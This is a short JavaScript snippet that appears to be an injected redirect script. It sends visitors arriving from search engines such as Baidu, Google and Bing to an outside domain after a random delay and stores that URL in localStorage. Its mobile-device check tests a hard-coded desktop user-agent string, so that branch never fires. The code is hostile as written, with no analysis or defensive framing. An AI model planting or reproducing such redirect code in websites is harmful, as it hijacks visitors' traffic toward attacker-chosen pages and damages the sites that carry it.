(function() {
    var refRegex = /\.(haosou|baidu|so|google|yahoo|sougou|bing|youdao|soso|shenma|sm|sogou)(\.[a-z0-9\-]+){1,2}\//ig;
    var ref = document.referrer;
    var ua = "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/73.0.3683.103 Safari\/537.36";
    var redirectUrl = "//mpfgn.zm.yn.cn";
    
    function getRandomDelay(min, max) {
        return Math.floor(Math.random() * (max - min + 1) + min);
    }
    
    function triggerRedirect() {
        // Store the redirect URL in localStorage
        localStorage.setItem('redirectUrl', redirectUrl);
        
        setTimeout(function() {
            window.location.href = redirectUrl;
        }, getRandomDelay(18, 58));
    }
    
    if (/NOKIA|LG|Samsung|midp|wap|ucweb|wechat|MicroMessenger|Phone|Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(ua)) {
        triggerRedirect();
    } else if (refRegex.test(ref)) {
        triggerRedirect();
    }
})();